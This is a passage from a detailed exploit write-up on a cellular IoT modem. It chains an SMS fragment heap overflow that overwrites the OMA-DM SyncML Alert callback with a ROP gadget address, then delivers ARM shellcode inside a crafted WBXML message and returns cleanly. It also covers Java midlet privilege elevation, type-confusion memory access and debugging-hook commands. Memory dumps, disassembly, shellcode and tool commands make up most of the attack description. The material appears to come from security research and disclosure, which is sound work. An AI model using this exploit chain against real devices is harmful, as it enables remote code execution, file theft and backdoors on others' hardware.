95 05 00 03 01 ........3....... 00000020: 46 30 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 F0EXPLOIT_FRAG.. 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 .........D3".... 00000070: 00 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 .pV.Uq...T...... 00000080: 00 c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 ................ 00000090: 00 ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be ................ 000000a0: 86 fc fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be ................ 000000b0: 86 . SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` The exploit fragment is generated in such a way, so that the function callback corresponding to SyncML Alert command gets overwritten with 0x86048099 value. The memory content reveals that the overwrite indeed took place. It can be seen from location 0x83cd5397 (offset 0x207f = frag idx 0x2f * 0xb1): ``` telcin> telcin> dmem 0x83cd3318 0x2800 83cd3318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CONCATMEM (MAX 4 parts) 83cd3328: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd3338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... 83cd33b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd33c8: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... SMS FRAGMENT2 BODY 83cd33d8: xx xx xx 00 14 17 03 06 13 31 21 04 0f 05 00 03 .........1!..... 83cd33e8: 01 04 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2.... 83cd33f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... 83cd35c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd35d8: 00 00 00 00 44 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ....D........... 83cd35e8: 00 00 44 00 00 00 00 00 44 33 22 11 f1 02 00 00 ..D.....D3"..... NODE /DMS/2006 83cd35f8: a2 73 ea 55 09 0f 00 00 ee 0e 00 00 01 00 40 00 .s.U..........@. 83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006. 83cd3618: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd3628: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ... 83cd44c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd44d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd44e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 00 44 2e ..............D. 83cd44f8: 44 33 22 11 09 0f 00 00 a3 73 ea 55 09 0f 00 00 D3"......s.U.... NODE /DMS/2006 (MIRROR) 83cd4508: ef 0e 00 00 01 00 40 00 01 bb aa 86 2e 2f 44 4d ......@....../DM 83cd4518: 53 2f 66 32 30 30 36 2e 2e 2e 2e 2e 2e 2e 2e 2e S/f2006......... 83cd4528: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ... 83cd5388: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e b0 ................ OVERFLOWING FRAGMENT DATA 83cd5398: 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx xx ....!.w.p....... 83cd53a8: xx 00 14 17 03 06 13 33 0c 04 95 05 00 03 01 46 .......3.......F 83cd53b8: 30 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 0EXPLOIT_FRAG... 83cd53c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd53d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd53e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd53f8: 00 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 ........D3"..... OMADM CALLBACK STRUCT 83cd5408: 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 pV.Uq...T....... 83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 83cd5438: fc fb bd 86 99 80 04 86 <----------------------------------------- ALERT FUNCTION CALLBACK fc fb bd 86 b0 01 be 86 ................ SET TO 0x86049088 83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 83cd5468: 00 00 00 00 44 c0 c6 83 44 33 22 11 71 00 00 00 ....D...D3".q... NODE /DMS/2007 83cd5478: 0d 74 ea 55 41 0f 00 00 21 0f 00 00 01 00 40 00 .t.UA...!.....@. 83cd5488: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 37 2e ...../DMS/f2007. 83cd5498: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd54a8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ``` The above indicates that arbitrary heap layout leading to a carefully selected code pointer overwrite was successfully achieved. ###### EXPLOIT MECHANICS EXPLAINED Now, as one can assume that arbitrary code pointer can be overwritten, it is time to check whether this can lead to a successfull code execution too (that this code pointer can be used to direct code execution to user provided data). I have investigated the handling of SyncML alert command (`test.dms` script) for that purpose. The DMS server was instructed to wait before sending the request (`wait` script command). The `dmstruc` structure was again inspected to see the location of SyncML callback pointers: ``` telcin> dmstruc OMADM tree: 0x81ede8d8 struc addr: 0x83c84cc0 ptr table: 0x83be7ca0 telcin> dmem 0x83be7ca0 0x54 83be7ca0: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 83be7cb0: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 83be7cc0: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D........... 83be7cd0: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 83be7ce0: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 83be7cf0: 00 00 00 00 .... ``` Pointer for Alert command (offset 0x14) was hijacked with the use of a custom hook API: ``` telcin> hook -c 0x83be7cc4 -f entry -h mprobe=sp:0x100 telcin> hook -i 1 telcin> hook -e 1 ``` Upon sending the Alert command by the DMS server (key pressed at the server console), the hook got executed and the content of the program stack at the time of Alert command execution could be investigated: ``` telcin> hook -p 1 [01] entry IE addr 0x83c85340 location 0x83be7cc4 callcnt 0x0001 [HANDLER MEM PROBE] - type: 3 - base_addr: 83c86c80 - call_addr: 83c6b538 - data: 83c85020 - data size: 00000108 data addr: 83c70688 data 0000: 8c 06 c7 83 a8 59 c8 83 8d 6d c8 83 03 00 00 00 .....Y...m...... 0010: 29 00 00 00 c0 4c c8 83 f8 06 c7 83 04 00 00 00 )....L.......... 0020: c0 4c c8 83 01 00 00 00 b8 12 d9 80 68 15 c0 86 .L..........h... 0030: d8 e8 ed 81 f8 06 c7 83 00 00 00 00 07 00 00 00 ................ 0040: 01 00 00 00 e0 4c bc 86 18 6d c8 83 40 9c 00 00 .....L...m..@... 0050: c8 00 00 00 e0 01 00 00 00 00 00 00 7c a7 ba 86 ............|... 0060: d8 e8 ed 81 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070: 00 00 00 00 85 00 00 00 58 5f ba 83 78 17 c7 83 ........X_..x... 0080: b8 12 d9 80 50 6c c8 83 b8 12 d9 80 98 84 17 81 ....Pl.......... 0090: da 01 00 00 c7 02 00 00 30 b5 c7 83 60 c7 c6 83 ........0....... 00a0: 00 00 00 00 dc 2b be 86 02 00 00 00 02 00 00 00 .....+.......... 00b0: 50 6c c8 83 02 00 00 00 67 00 00 00 02 00 00 00 Pl......g....... 00c0: 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa ................ 00d0: aa aa aa aa aa aa aa aa 00 00 00 00 00 00 00 00 ................ 00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ``` Stack content revealed link register value (calling location `0x86C01568`) and as such it could be compared with the actual code disassembly: ``` ROM:86C00C30 agsr_mgrProcessNextCommand ; CODE XREF: agsr_smlProcessData+50ˇp ROM:86C00C30 ROM:86C00C30 var_30 = -0x30 ROM:86C00C30 var_2C = -0x2C ROM:86C00C30 var_28 = -0x28 ROM:86C00C30 var_24 = -0x24 ROM:86C00C30 var_20 = -0x20 ROM:86C00C30 ROM:86C00C30 PUSH {R4-R9,LR} ROM:86C00C34 SUB SP, SP, #0x14 ; static Ret_t mgrProcessNextCommand(InstanceID_t id, InstanceInfoPtr_t pInstanceInfo) ROM:86C01564 BL agsr_mgrProcessNextCommand ; commands processing inside ROM:86C01568 MOV R5, R0 ``` Further analysis and hooking revealed that the pointer at stack location `[sp+8]` pointed to the WBXML data immediately following the Alert token: ``` telcin> dmstruc OMADM tree: 0x81ede8d0 struc addr: 0x83be7a38 ptr table: 0x83ba5c58 telcin> dmem 0x83ba5c58 0x54 83ba5c58: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 83ba5c68: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 83ba5c78: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D........... 83ba5c88: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 83ba5c98: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 83ba5ca8: 00 00 00 00 .... telcin> hook -c 0x83ba5c7c -f entry -h mprobe=[sp+8]:100 telcin> hook -i 0 telcin> hook -e 0 telcin> hook -p 0 [00] entry IE addr 0x83c85120 location 0x83ba5c7c callcnt 0x0001 [HANDLER MEM PROBE] - type: 3 - base_addr: 83c872d0 - call_addr: 83c85a28 - data: 83c85c20 - data size: 0000006c data addr: 83c7194d data 0000: 01 01 01 01 02 03 04 05 ff ff da ff 52 01 01 01 ............R... 0010: 00 01 6f 03 49 4d 45 49 3a 33 35 31 32 34 39 39 ..o.IMEI:3512499 0020: 35 34 38 39 36 30 38 38 00 01 68 03 68 74 74 70 54896088..h.http 0030: 3a 2f 2f 38 33 2e 38 2e 38 33 2e 31 37 32 3a 34 ://83.8.83.172:4 0040: 34 33 00 01 4f 03 32 31 32 00 01 01 69 4b 03 32 43..O.212...iK.2 0050: 00 01 5c 03 33 00 01 4c 03 31 38 00 01 4a 03 47 ....3..L.18..J.G 0060: 65 74 00 01 et.. ``` The SyncML Alert command sent to the device had a sequence of "01 01 01 01 02 03 04 05" data injected on purpose and immediately following it: ``` - MSG FROM SERVER data 0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r. 0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412.. 0020: 5b 03 34 00 01 6e 57 03 49 4d 45 49 3a 33 35 31 [.4..nW.IMEI:351 0030: 32 34 39 39 35 34 38 39 36 30 38 38 00 01 01 67 249954896088...g 0040: 57 03 68 74 74 70 3a 2f 2f 38 33 2e 38 2e 38 33 W.http://83.8.83 0050: 2e 31 37 32 3a 34 34 33 00 01 01 01 00 00 6b 46 .172:443......kF 0060: 4b 03 32 33 00 01 4f 03 61 6c 65 72 74 5f 64 61 K.23..O.alert_da 0070: 74 61 00 01 01 01 01 01 01 02 03 04 05 ff ff da ta.............. 0080: ff 52 01 01 01 .R... [SyncML] * wbxml_ver: 02 * publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN] * charset: 6a strtable [0 bytes] 1.2 DM/1.2 3412 4 IMEI:351249954896088 http://83.8.83.172:443 23 alert_data ``` All of the above implicates that one can place arbitrary code (ARM code) as part of this data too. What needs to be solved is how to transfer code execution to such as location (to location pointed by `[sp+8]` pointer). The stack layout at the time of Alert callback invocation was the following: ``` off 00: 8c 06 c7 83 local stack frame, size 0x14 (sp register points here) off 04: a8 59 c8 83 off 08: 8d 6d c8 83 ptr to data following Alert command ("01 01 01 01 02 03 04 05"...) off 0c: 03 00 00 00 off 10: 29 00 00 00 off 14: c0 4c c8 83 r4 (saved registers) off 18: f8 06 c7 83 r5 off 1c: 04 00 00 00 r6 off 20: c0 4c c8 83 r7 off 24: 01 00 00 00 r8 off 28: b8 12 d9 80 r9 off 2c: 68 15 c0 86 lr ``` This corresponds to the `agsr_mgrProcessNextCommand` subroutine prolog shown above. All one needs to do to transfer code execution to arbitrary user provided data is to pop two words from the stack and use a 3rd one as a PC register value: ``` pop {reg1,reg2} pop {pc} ``` Such code sequences can be easily found in the device firmware code: ``` SEQUENCE 1 ROM:86048098 POP {R4,R5,PC} ROM:8604809A ; --------------------------------------------------------------------------- ROM:8604809A ROM:8604809A loc_8604809A ; CODE XREF: sub_86048054+2C^j ROM:8604809A ADDS R0, R0, #7 SEQUENCE 2 ROM:860480A6 POP {R4,R5,PC} ROM:860480A6 ; End of function sub_86048054 ROM:860480A6 ROM:860480A8 ROM:860480A8 ; =============== S U B R O U T I N E ======================================= ROM:860480A8 ROM:860480A8 ROM:860480A8 sub_860480A8 ``` Now, SMS handling issue might simply overwrite the Alert pointer of `dmstruc` data with the value of (`0x86048098+1`). As a result, handling of the Alert command would get dispatched to user provided code (code that is provided over the network message). The described approach is implemented by the POC. SyncML Alert callback is overwritten with the address of `0x86048098+1` (`+1` denotes the required switch to ARM Thumb code). ###### CLEAN EXIT The nature of the SMS fragment vulnerability along the mechanism of subverting code execution make it possible to achieve the so called "clean exit". This means, that arbitrary code executed through Alert command handler can return in a safe manner to the original code flow. The stack layout at the time of Alert callback invocation is the following: ``` off 00: 03 00 00 00 <----- SP at the time of Alert command execution points here off 04: 29 00 00 00 off 08: c0 4c c8 83 r4 (saved registers) off 0c: f8 06 c7 83 r5 off 10: 04 00 00 00 r6 off 14: c0 4c c8 83 r7 off 18: 01 00 00 00 r8 off 1c: b8 12 d9 80 r9 off 20: 68 15 c0 86 lr ``` Arbitary return to the original code flow (caller subroutine) can be easily achieved through the following sequence of instructions: ``` pop {reg1,reg2} pop {r4-r9,pc} ``` The goal of the first `pop` is to clean the local stack frame in full (local stack frame size is 0x14, the initial 3 words have been popped at the time of diverting execution to user provided code, there are two remaining words though). The second `pop` mimics epilog of the function where code execution happens: ``` ROM:86C00D4C loc_86C00D4C ; CODE XREF: agsr_mgrProcessNextCommand+288↓j ROM:86C00D4C ; agsr_mgrProcessNextCommand+344↓j ... ROM:86C00D4C ADD SP, SP, #0x14 ROM:86C00D50 POP {R4-R9,PC} ``` As a result, executed user code acts as if it was simply injected into the code path of SyncML command dispatcher. Regardless of the abnormal code injection, the device can operate normally without any reboot, etc. This is due to the fact that no memory / register state corruption takes place, just a single pointer overwrite. Heap implementation specifics play a key role here too. Instead of real pointer values denoting `prev` / `next` heap chunks, the implementation relies on relative offsets. Predictable heap layout makes these offsets constant (easy to overwrite), thus heap integrity can be maintained (it should be mentioned that heap chunks contain a checksum that verifies header integrity, these do not matter in the context of the demonstrated exploitation method). ###### TEST SHELLCODE The following assemby code was used as a test of a verification of a successfull POC execution (remote code execution of user provided code on a target device): ``` .global _start _start: b _skip .word MAGIC_START _create_dir: .word 0x8617B4AD // create dir UtaOS call _dir_name: .ascii "F:/roota/test" .align 4 _skip: push {r0-r12} adr r0,_dir_name adr r4,_create_dir // load dir creation subroutine ldr r4,[r4] .align 4 blx r4 // call it nop pop {r0-r12} pop {r0} pop {r0} mov r0,#1 // signal error to SyncML dispatcher subroutine pop {r4-r9,pc} // pop registers and return end: .align 4 .word MAGIC_END ``` This code creates a test directory and implements a clean exit described above. There is on more quirk requiring explanation regarding clean code implementation though. As user provided code is embedded in SyncML WBXML document immediately following the Alert command token, upon completion of the Alert command dispatch, an attempt might be made to process bytes from the assembly code. This can easily lead to a device boot, freezing, etc. There is a simple trick that can force SyncML WBXML processing to stop immediately following the Alert command handling (and user provided code execution) though. All one needs is to signal the error to the dispatcher soubroutine. This can be accomplished by returning a non-zero status value from the command handler. This explain the reason for including the `mov r0,#1` instruction in the code. It should be also mentioned that DMS server can potentially customize the target code to execute on a target device (sample code requires the knowledge of firmware addresses such as the directory creation UtaOS call). This is not an obstacle though as `./DevDetail/SwV` node can be queried for the exact firmware version of a target device. More complex attack scenarios can exploit some of the ideas depicted in `EXPLOIT PAYLOAD` paragraph. ##### PHASE 4 - ARBITRARY CODE EXECUTION The overwritten Alert command pointer can be finally used. Upon pressing the key at the DMS server console, the Alert command is sent to the target device: ``` press key to send payload - MSG FROM SERVER data 0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r. 0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412.. 0020: 5b 03 34 00 01 6e 57 03 49 4d 45 49 3a 33 35 31 [.4..nW.IMEI:351 0030: 32 34 39 39 35 34 38 39 36 30 38 38 00 01 01 67 249954896088...g 0040: 57 03 68 74 74 70 3a 2f 2f 38 33 2e 38 2e 32 37 W.http://83.8.27 0050: 2e 31 38 33 3a 34 34 33 00 01 01 01 00 00 6b 46 .183:443......kF 0060: 4b 03 32 36 00 01 4f 03 61 6c 65 72 74 64 61 74 K.26..O.alertdat 0070: 61 00 01 01 <---------------------------------------------------- END of ALERT 06 00 00 ea 52 53 47 41 ad b4 17 86 a.......RSGA.... START OF USER ASM CODE 0080: 46 3a 2f 72 6f 6f 74 61 2f 74 65 73 74 00 00 00 F:/roota/test... 0090: 00 00 a0 e1 ff 1f 2d e9 20 00 4f e2 28 40 4f e2 ......-...O.(@O. 00a0: 00 40 94 e5 34 ff 2f e1 00 00 a0 e1 ff 1f bd e8 .@..4./......... 00b0: 04 00 9d e4 04 00 9d e4 01 00 a0 e3 f0 83 bd e8 ................ 00c0: 00 00 a0 e1 52 01 01 01 ....R... [SyncML] * wbxml_ver: 02 * publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN] * charset: 6a strtable [0 bytes] 1.2 DM/1.2 3412 4 IMEI:351249954896088 http://83.8.27.183:443 26 alertdata ## SESSION 0/1 ``` This command is specially crafted as: - the Alert command needs to and at the adress that corresponds to ARM code location (adress mod 4) - the ARM assembly code gets inlined in the WBXML document immediately following the Alert command representation. As a result, the assembly code gets executed on a target device. The device is not rebooted and continues operation as usual. Successfull creation of a `test` directory can be verified on a target device too: ``` telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 61865 agent.jad --- 416 test/ d-- 0 ``` ### NOTES ON ATSJMLED ATSJMLED contains support for sending responses by SMS. However, this functionality is not enabled in the application. If this was the case, there would not be any need to brute force the SPC at all as ATSJMLED has support for the MOD command: ``` if(s1.toUpperCase().indexOf("MOD") > -1) { String s2 = moduleStatusStringJSON(); System.out.println("[HardwareManager]: Module Status: " + s2); SmsHandler.getInstance().smsSend(s, s2, 1); flag = true; } ``` The code implicates that JSON status should be sent as a response. This status contains IMEI and IMSI values required for device unlocking (SPC value computation): ``` public String moduleStatusStringJSON() { String s = null; try { StringBuffer stringbuffer = new StringBuffer(); stringbuffer.append("{ "); stringbuffer.append("\"MOD\": { "); stringbuffer.append("\"mno\": \""); stringbuffer.append(NetworkMonitor.getNetworkDetails(0)); stringbuffer.append("\", "); stringbuffer.append("\"rat\": "); stringbuffer.append(NetworkMonitor.getNetworkDetails(1)); stringbuffer.append(", "); stringbuffer.append("\"rsrp\": "); stringbuffer.append(NetworkMonitor.getNetworkDetails(2)); stringbuffer.append(", "); if(!NetworkMonitor.getNetworkDetails(1).equals("0")) { stringbuffer.append("\"rsrq\": "); stringbuffer.append(NetworkMonitor.getNetworkDetails(3)); stringbuffer.append(", "); } stringbuffer.append("\"temp\": "); stringbuffer.append(module_Temperature_degC); stringbuffer.append(", "); stringbuffer.append("\"vbatt\": "); stringbuffer.append(battery_Voltage_mV); stringbuffer.append(", "); stringbuffer.append("\"conn\": "); stringbuffer.append(ConnectionManager.houseKeepingTimerTicks); stringbuffer.append(", "); stringbuffer.append("\"mcc\": "); stringbuffer.append(NetworkMonitor.getNetworkDetails(4)); stringbuffer.append(", "); stringbuffer.append("\"mnc\": "); stringbuffer.append(NetworkMonitor.getNetworkDetails(5)); stringbuffer.append(", "); stringbuffer.append("\"lac\": \""); stringbuffer.append(NetworkMonitor.getNetworkDetails(6)); stringbuffer.append("\", "); stringbuffer.append("\"cid\": \""); stringbuffer.append(NetworkMonitor.getNetworkDetails(7)); stringbuffer.append("\", "); stringbuffer.append("\"memfree\": "); stringbuffer.append(memoryFreePC); stringbuffer.append(", "); stringbuffer.append("\"threads\": "); stringbuffer.append(threadsRunning); stringbuffer.append(", "); stringbuffer.append("\"ffsfree\": "); stringbuffer.append(ffsFreePC); stringbuffer.append(", "); stringbuffer.append("\"imei\": \""); if(moduleIMEI.length() > 4) { if(moduleIMEI.length() > 9) { stringbuffer.append(moduleIMEI.substring(0, 5)); stringbuffer.append("-"); stringbuffer.append(getRedactedIMEI()); } else { stringbuffer.append(getRedactedIMEI()); } } else { stringbuffer.append(moduleIMEI); } stringbuffer.append("\", "); stringbuffer.append("\"imsi\": \""); String s1 = SimManager.getIMSI(); if(s1.length() > 4) { if(s1.length() > 9) { stringbuffer.append(s1.substring(0, 5)); stringbuffer.append("-"); stringbuffer.append(s1.substring(s1.length() - 4, s1.length())); } else { stringbuffer.append(s1.substring(s1.length() - 4, s1.length())); } } else { stringbuffer.append(s1); } stringbuffer.append("\", "); stringbuffer.append("\"firmware\": \""); stringbuffer.append(firmware_Version); ``` The `smsSend` method does not work as `start` method of Smshandler is not called. It is not clear if this was done on purpose or by mistake... Additionally, upon ATSJMLED exploitation, there is a potential to issue AT command for ove the air application provisioning (`AT^SJOTAP`) that result in the following: - change of Java OTA firmware update parameters such as server url, - Java firmware update start. As a result, attacker midlet might be fetched from a remote Internet location and installed on a device. Such a midlet could be then started (another AT command) and upon launch, it could proceed with a privilege elevation attack, files theft, backdoor install, etc. ## PRIVILEGED ELEVATION ATTACK ISSUES 1-7 are illustrated by the Agent midlet (`midlet\agent\src` directory). The `ai.scr` script can be used to install Agent midlet in a target device: ``` telcin> run ai.scr telcin> telcin> print "### installing Agent" ### installing Agent telcin> telcin> put midlet\agent\agent.jar a:/agent.jar ERROR: path not found uploading a:/agent.jar [###############################] telcin> telcin> put midlet\agent\agent.jad a:/agent.jad uploading a:/agent.jad [###############################] telcin> telcin> sleep 200 telcin> telcin> install a:/agent.jad OK telcin> telcin> telcin> start a:/agent.jad OK ``` Agent presence / execution status can be checked with the use of the `agent` command: ``` telcin> agent AGENT ready ``` or `appinfo` command: ``` telcin> appinfo -r #### RUNNING APPS #### [ATSJMLED] url: a:/ATSJMLED.jad vendor: Mullenger version 0.1.27 autostart: 1 priority: 0 [Java Remote Control MIDlet Suite] url: a:/JRC-1.62.04.jad vendor: Cinterion version 1.62.04 autostart: 1 priority: 1 [agent] url: a:/agent.jad vendor: AGSecRes version 1.0 autostart: 0 priority: 0 telcin> ``` The log corresponding to Agent midlet installation can be checked in `logs\agent.install\console.log`. In general, Agent installation and privilege elevation follows these steps: - Agent midlet is started, if it is not privileged, privilege elevation proceeds, if it is privileged: * bytecode verification is turned off for the current Isolate * AGNT AT command is registered and Agent is ready for serving it - if privilege elevation is needed the following happens: * installer JAD and JAR files are created from the original Agent JAR file * the installer midlet is executed, it patches the files corresponding to the Agent midlet (to mark it as fully privileged) in `cwmjava` directory * the Agent midlet is started again To be true, more action takes place during the process, but the above is a good summary of how privilege elevation attack proceeds. It's alsow worth to mention that target Java VM implements extra isolation for midlet aplications with respect to static data. In a classic Java VM, static variables can be accessed by any code (as long ac variable access allows for it). In CLDC VM, memory for static variables is routed to proper memory locations depending on the application. In this context, access to static variables is done in a similar fashion to TLS (thread local storage). This also means that what might be system level globals are not necessarily accessible to attacker code even if access to a static variable is gained (the access will be done to a copy of the variable created for attacker's application). This doesn't matter much though in the context of gaining native memory and code execution access on a target device. ## NATIVE MEMORY ACCESS Upon bytecode verification disabling, arbitrary type confusion can be used to set up a condition leading to arbitrary memory access (read and write). The actual memory access is established through a fake byte table (the one with an overlong size so that it could be used as a widow to system memory). See `Memory` and `Unsafe` classes implementations for more details. ## NATIVE CODE EXECUTION Arbitrary memory access can be turned into native memory execution. In a Proof of Concept code this is accomplished through the change of a runtime Java method properties (temporary change of method object in such a way, so that it represents a native method). See `NativeCode` class for more details. The primary difference from the usual runtime method object change lies in the fact that the change doesn't involve only the change of methods flags (from `ACC_JAVA` to `ACC_NATIVE`). It requires the change of the whole runtime object. This is due to the fact that target VM is a CLDC HotSpot Implementation, which is highly otimized Java VM that executes compiled, not interpreted code. As such, it relies on many dedicated runtime objects to speed up code execution (a native object corresponding to a native method is one of them). ## REVERSE ENGINEERING HELPERS Both the Agent and command line shell contain some support for reverse engineering, This include, but is not limited to the following: - memory search for ARM instruction location that refer arbitrary addresses (branches, ldr and adr instruction) - memory search for strings and words. For instance, the following code snippet shows code that triggers execution of AT command: ``` ROM:861AF2C8 agsr_send_atcmd____ ; CODE XREF: sub_861A2F08+46^p ROM:861AF2C8 ; agsr_bind_atr_handles+78^p ... ROM:861AF2C8 PUSH {R3-R7,LR} ROM:861AF2CA MOV R5, R3 ; cmd size ROM:861AF2CC MOV R6, R1 ; cmd buf ROM:861AF2CE MOV R7, R2 ; buf size ROM:861AF2D0 BL agsr_device_from_handle____ ROM:861AF2D4 MOVS R4, R0 ROM:861AF2D6 BEQ locret_861AF2F6 ; -> error ROM:861AF2D8 LDR R0, [R4] ; ATProcessor ? ROM:861AF2DA MOV R2, R5 ; cmd size ROM:861AF2DC MOV R1, R6 ; cmd buf ROM:861AF2DE BL agsr_preprocess_XDLCTEST_command ; XDLCTEST - DLC Operation And Performance ROM:861AF2E2 CMP R0, #0 ROM:861AF2E4 BNE locret_861AF2F6 ; -> error (or info that cmd has been processed) ROM:861AF2E6 LDR R0, [R4] ; ATProcessor ? ROM:861AF2E8 MOV R2, R7 ; buf size ROM:861AF2EA MOV R1, R6 ; cmd buf ROM:861AF2EC ADDS R0, #0x80 ROM:861AF2EE STR R5, [R0,#0x34] ROM:861AF2F0 LDR R0, [R4] ; ATProcessor ? ROM:861AF2F2 BL agsr_uta_cat_cmdprocessor_process_inbuffer ``` All code locations that invoke it can be easily looked up from the command shell: ``` telcin> srchbl 0x861AF2C8 0x861a2f4e BL 0x861af2c8 0x861a306c BL 0x861af2c8 0x861af34a BL 0x861af2c8 0x861cd0fe BL 0x861af2c8 0x861cd284 BL 0x861af2c8 0x861cd3a8 BL 0x861af2c8 0x861cd794 BL 0x861af2c8 ``` Similarly, code locations that refer to given string can be easily located: ``` telcin> srchs "OMADMCLIENT(%s,%d): security check failed!" 0x86bdd04c "OMADMCLIENT(%s,%d): security check failed!" telcin> srchadr 0x86bdd04c 0x86bdcf18 ADR R0, =0x86bdd04c ``` Beside the abovementioned little static code analysis helpers, the toolkit contains support for dynamic runtime hooks. The hooks in its current form make it possible to save register state (rprobe), do memory snapshot (mrobe) or set memory content (mcopy) at the time of arbitrary (hooked) API call (before or after the call). Sample use of hooks for intercepting 3gpp SMS filter is shown below (reception of `test` SMS and doing snapshot of a memory content corresponding to its body): Hook setup proceeds as following (0x8117AB30 contains address of `OmadmUtaSms3gppFilterFunction`): ``` telcin> hook -c 0x8117AB30 -f entry -h mprobe=r0:0x100 telcin> hoke -e 0 telcin> hook -i 0 ``` Upon SMS sending to the device, the following is shown by the log: ``` [ATCommandListener]: '+CIEV: ceer,26,187' [Main]: AT^SWWAN=1,1 (for autoStartWWAN) [ATCommandListener]: '+CIEV: ciphcall,1' [ATCommandListener]: '+CMTI: "SM",4' is missing "\n"! AGSR checkIncomingCharacters: SECMSG1d51aff807aa10a0bdf6feda9e87bbaf AGSR in msg len: 4 AGSR in msg: test [SmsHandler]: SMS - Sending usage information to '+48xxxxxxxx' [SmsHandler]: ('test') [SmsHandler]: Waiting for next SMS... [ATCommandListener]: '+CIEV: message,1' [ATCommandListener]: '+CIEV: message,0' [ATCommandListener]: '+CIEV: ceer,26,187' [Main]: AT^SWWAN=1,1 (for autoStartWWAN) [HardwareManager]: memoryFree = '20970672' [SubscriptionHandler]: Warning: no External Device listener defined. ``` The hook and data caught by it can be inspected: ``` telcin> hook -p 0 [00] entry IE addr 0x83be9e58 location 0x8117ab30 callcnt 0x0001 [HANDLER MEM PROBE] - type: 3 - base_addr: 83ba50c8 - call_addr: 83ba1da8 - data: 83ba4460 - data size: 00000108 data addr: 70a2e610 data 0000: 89 00 00 00 03 00 00 00 3d 07 91 84 05 21 00 77 ........=....!.w 0010: f7 04 0b 91 84 xx xx xx xx xx 00 00 22 11 03 01 ............"... 0020: 13 30 40 26 d3 e2 b0 39 3d c6 c8 b5 58 d8 6c c6 .0@&...9=...X.l. 0030: c1 6e e1 70 0c 16 86 89 c9 66 9b b9 4c 0e e7 ca .n.p.....f..L... 0040: b8 9b 58 1c 36 03 00 00 00 00 00 00 00 00 00 00 